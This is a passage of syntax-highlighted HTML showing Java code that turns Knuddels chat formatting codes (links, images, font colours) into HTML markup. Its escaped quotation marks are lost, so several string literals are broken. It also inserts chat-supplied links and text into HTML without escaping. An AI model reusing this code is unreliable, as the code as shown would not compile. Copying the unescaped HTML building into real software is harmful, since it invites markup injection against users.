#007700">)&nbsp;&amp;&amp;&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'h'</span><span style="color: #007700">))&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;href&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">replace</span><span style="color: #007700">(</span><span style="color: #DD0000">"_h"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">a</span><span style="color: #007700">.</span><span style="color: #0000BB">replace</span><span style="color: #007700">(</span><span style="color: #DD0000">""",&nbsp;href);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">a&nbsp;href</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">").append(href).append("</span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">a</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;kcode.length()&nbsp;+&nbsp;2;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(kcode.split("</span><span style="color: #007700">\\|</span><span style="color: #DD0000">").length&nbsp;&gt;&nbsp;1)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;href&nbsp;=&nbsp;kcode.split("</span><span style="color: #007700">\\|</span><span style="color: #DD0000">")&#91;0&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;a&nbsp;=&nbsp;kcode.split("</span><span style="color: #007700">\\|</span><span style="color: #DD0000">")&#91;1&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">a&nbsp;href</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">href</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">").append(a).append("</span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">a</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;kcode.length()&nbsp;+&nbsp;2;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(isImage(kcode))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">img&nbsp;src</span><span style="color: #007700">=</span><span style="color: #DD0000">"http://chat.knuddels.de/pics/"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">/&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;kcode.length()&nbsp;+&nbsp;2;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">a&nbsp;href</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">").append(kcode).append("</span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">a</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;kcode.length()&nbsp;+&nbsp;2;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(isColor(text.charAt(i&nbsp;+&nbsp;1))&nbsp;&amp;&amp;&nbsp;(text.charAt(i&nbsp;+&nbsp;2)&nbsp;==&nbsp;'&gt;'))&nbsp;{&nbsp;//&nbsp;Schriftgröße<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;length&nbsp;=&nbsp;0;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;color&nbsp;=&nbsp;String.valueOf(text.charAt(i&nbsp;+&nbsp;1));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">font&nbsp;color</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">GetHtmlColor</span><span style="color: #007700">(</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">))).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;+=&nbsp;color.length()&nbsp;+&nbsp;1;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(text.charAt(i&nbsp;+&nbsp;2)&nbsp;==&nbsp;'&gt;')&nbsp;{&nbsp;//&nbsp;Link<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;link&nbsp;=&nbsp;text.substring(i&nbsp;+&nbsp;3);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;link&nbsp;=&nbsp;link.substring(0,&nbsp;link.indexOf('&lt;'));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(link.split("</span><span style="color: #007700">\\|</span><span style="color: #DD0000">").length&nbsp;&gt;&nbsp;1)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;href&nbsp;=&nbsp;link.split("</span><span style="color: #007700">\\|</span><span style="color: #DD0000">")&#91;0&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;a&nbsp;=&nbsp;link.split("</span><span style="color: #007700">\\|</span><span style="color: #DD0000">")&#91;1&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">a&nbsp;href</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">href</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">").append(a).append("</span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">a</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">a&nbsp;href</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">link</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">").append(link).append("</span><span style="color: #007700">&lt;/</span><span style="color: #0000BB">a</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;length&nbsp;+=&nbsp;link.length()&nbsp;+&nbsp;2;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;length;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(text.charAt(i&nbsp;+&nbsp;2)&nbsp;==&nbsp;'°')&nbsp;{&nbsp;//&nbsp;Farbe<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;color&nbsp;=&nbsp;text.substring(i&nbsp;+&nbsp;1);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;color&nbsp;=&nbsp;color.substring(0,&nbsp;color.indexOf('°'));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;code.append("</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">font&nbsp;color</span><span style="color: #007700">=</span><span style="color: #DD0000">""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">GetHtmlColor</span><span style="color: #007700">(</span><span style="color: #0000BB">color</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">))).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">""</span><span style="color: #007700">&gt;</span><span style="color: #DD0000">");<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;i&nbsp;+=&nbsp;color.length()&nbsp;+&nbsp;1;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;else&nbsp;if&nbsp;(text.charAt(i&nbsp;+&nbsp;1)&nbsp;==&nbsp;'&#91;')&nbsp;{&nbsp;&nbsp;//&nbsp;rgb&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;rgbColor&nbsp;=&nbsp;text.substring(i&nbsp;+&nbsp;1);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rgbColor&nbsp;=&nbsp;rgbColor.substring(0,&nbsp;rgbColor.indexOf('°'));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;rgbColor&nbsp;=&nbsp;parseColor(rgbColor);<br 